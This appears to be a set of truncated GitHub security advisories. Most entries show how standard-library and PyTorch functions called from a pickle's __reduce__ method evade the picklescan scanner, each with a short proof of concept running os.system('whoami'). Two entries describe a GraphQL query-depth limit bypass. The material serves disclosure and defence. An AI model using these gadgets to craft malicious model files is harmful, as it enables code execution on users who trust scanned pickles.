#git

### Summary Using idlelib.run.Executive.runcode function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to idlelib.run.Executive.runcode function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` from idlelib.run import Executive from types import SimpleNamespace class EvilIdlelibRunExecutiveRuncode: def __reduce__(self): payload = "__import__('os').system('whoami')" fake_self = SimpleNamespace(locals={}) return Executive.runcode, (fake_self, payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Wha...

### Summary Using lib2to3.pgen2.pgen.ParserGenerator.make_label function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to lib2to3.pgen2.pgen.ParserGenerator.make_label function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` from types import SimpleNamespace from lib2to3.pgen2.pgen import ParserGenerator class EvilLib2to3Pgen2ParserGeneratorMakeLabel: def __reduce__(self): c = SimpleNamespace(labels=[], keywords={}, tokens={}) label = '""+__import__(\'os\').system(\'whoami\')' return ParserGenerator.make_label, (None, c, label) ``` ### Impact Who is impacted? Any organization or individual ...

### Summary Using ensurepip._run_pip function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to ensurepip._run_pip function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` from ensurepip import _run_pip class EvilEnsurepipRunpip: def __reduce__(self): payload = "[(__import__('os').system('whoami'),)]" return _run_pip, (payload,) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loa...

### Summary Using torch.utils.bottleneck.\_\_main\_\_.run_autograd_prof function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to torch.utils.bottleneck.__main__.run_autograd_prof function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import torch.utils.bottleneck.__main__ as bottleneck_main class EvilTorchUtilsBottleneckRunAutogradProf: def __reduce__(self): code = '__import__("os").system("whoami")' globs = {} return bottleneck_main.run_autograd_prof, (code, globs) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorc...

### Summary A query depth restriction using the max-depth can be bypassed if `ignoreIntrospection` is enabled (which is the default configuration) by naming your query/fragment `__schema`. ### Details In the `countDepth` function, we have the following code that calculates the depth of a used fragment: ```typescript } else if (node.kind == Kind.FRAGMENT_SPREAD) { if (this.visitedFragments.has(node.name.value)) { return this.visitedFragments.get(node.name.value) ?? 0; } else { this.visitedFragments.set(node.name.value, -1); } const fragment = this.context.getFragment(node.name.value); if (fragment) { let fragmentDepth; if (this.config.flattenFragments) { fragmentDepth = this.countDepth(fragment, parentDepth); } else { fragmentDepth = this.countDepth(fragment, parentDepth + 1); } depth = Math.max(depth, fragmentDepth); if (this.visitedFragments.get(node.name.value) === ...

### Summary A query depth restriction using the `max-depth` property can be bypassed if `ignoreIntrospection` is enabled (which is the default configuration) by naming your query/fragment `__schema`. ### Details At the start of the `countDepth` function, we have the following check for the `ignoreIntrospection` option: ```typescript if (this.config.ignoreIntrospection && 'name' in node && node.name?.value === '__schema') { return 0; } ``` However, the `node` can be one of: `FieldNode`, `FragmentDefinitionNode`, `InlineFragmentNode`, `OperationDefinitionNode`, `FragmentSpreadNode`. For example, consider sending the following query: ```graphql query hello { books { title } } ``` This would create an `OperationDefinitionNode` where `node.name.value == 'hello'` The proper way to handle this is to check explicitly for the `__schema` field, which corresponds to a `FieldNode`. The fix is ```typescript if ( this.config.ignoreIntrospection && 'na...

### Summary Using idlelib.calltip.get_entity function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to idlelib.calltip.get_entity function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` from idlelib.calltip import get_entity class EvilCalltipGetEntity: def __reduce__(self): # get_entity(expression) -> eval(expression) return get_entity, ("__import__('os').system('whoami')",) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains un...

### Summary Using idlelib.calltip.Calltip.fetch_tip, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to idlelib.calltip.Calltip.fetch_tip function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` class EvilCalltipFetchTip: def __reduce__(self): from idlelib.calltip import Calltip # fetch_tip(expression) -> get_entity(expression) -> eval(expression) return Calltip().fetch_tip, ("__import__('os').system('whoami')",) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed mal...

### Summary Using code.InteractiveInterpreter.runcode, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to code.InteractiveInterpreter.runcode function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` class EvilCodeRuncode: def __reduce__(self): from code import InteractiveInterpreter # InteractiveInterpreter().runcode(cmd) -> exec(cmd) return InteractiveInterpreter().runcode, ("__import__('os').system('whoami')",) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed mal...

### Summary Using idlelib.autocomplete.AutoComplete.fetch_completions, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to idlelib.autocomplete.AutoComplete.fetch_completions function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` class EvilIdlelibAutocompleteFetchCompletions: def __reduce__(self): from idlelib.autocomplete import AutoComplete, ATTRS return AutoComplete().fetch_completions, ("__import__('os').system('whoami')", ATTRS) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers...